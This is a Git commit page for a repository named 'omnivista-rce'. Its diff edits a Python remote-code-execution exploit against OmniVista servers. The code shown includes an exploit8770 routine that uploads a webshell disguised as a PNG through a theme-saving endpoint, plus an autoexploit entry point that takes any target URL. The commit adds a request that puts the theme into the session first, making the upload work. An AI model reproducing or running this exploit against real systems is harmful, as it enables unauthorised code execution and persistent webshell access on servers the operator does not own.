g/omnivista-rce
1
0
Fork 0
Code Issues Pull Requests Releases Wiki Activity

Addedd request to get themeDate in session

Browse Source
This commit is contained in:
Giulio 2019-12-01 13:19:54 +01:00
parent 56910e6e41
commit c0b4991ce1
1 changed files with 6 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
omnivista.py
View File

@ -1,3 +1,7 @@
'''
Original url: https://git.lsd.cat/g/omnivista-rce
Website: https://lsd.cat
'''
import requests import requests
import socket import socket
import ldap import ldap
@ -90,6 +94,7 @@ class OmniVista:
return True return True
def exploit8770(self): def exploit8770(self):
r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
r = self.session.post(self.host + 'php-bin/webclient.php', r = self.session.post(self.host + 'php-bin/webclient.php',
data = {"action": "saveTheme", "themeId": "2"}, data = {"action": "saveTheme", "themeId": "2"},
files = { "BgImg1": (self.filename, self.webshell, "image/png")}, files = { "BgImg1": (self.filename, self.webshell, "image/png")},
@ -151,7 +156,7 @@ class OmniVista:
return False return False
if len(sys.argv) != 2: if len(sys.argv) != 2:
print("Usage: ./omnivista.py http(s)://target.tld") print("Usage: ./omnivista.py http(s)://target.tld:port/")
else: else:
exploit = OmniVista(sys.argv[1]) exploit = OmniVista(sys.argv[1])
exploit.autoexploit() exploit.autoexploit()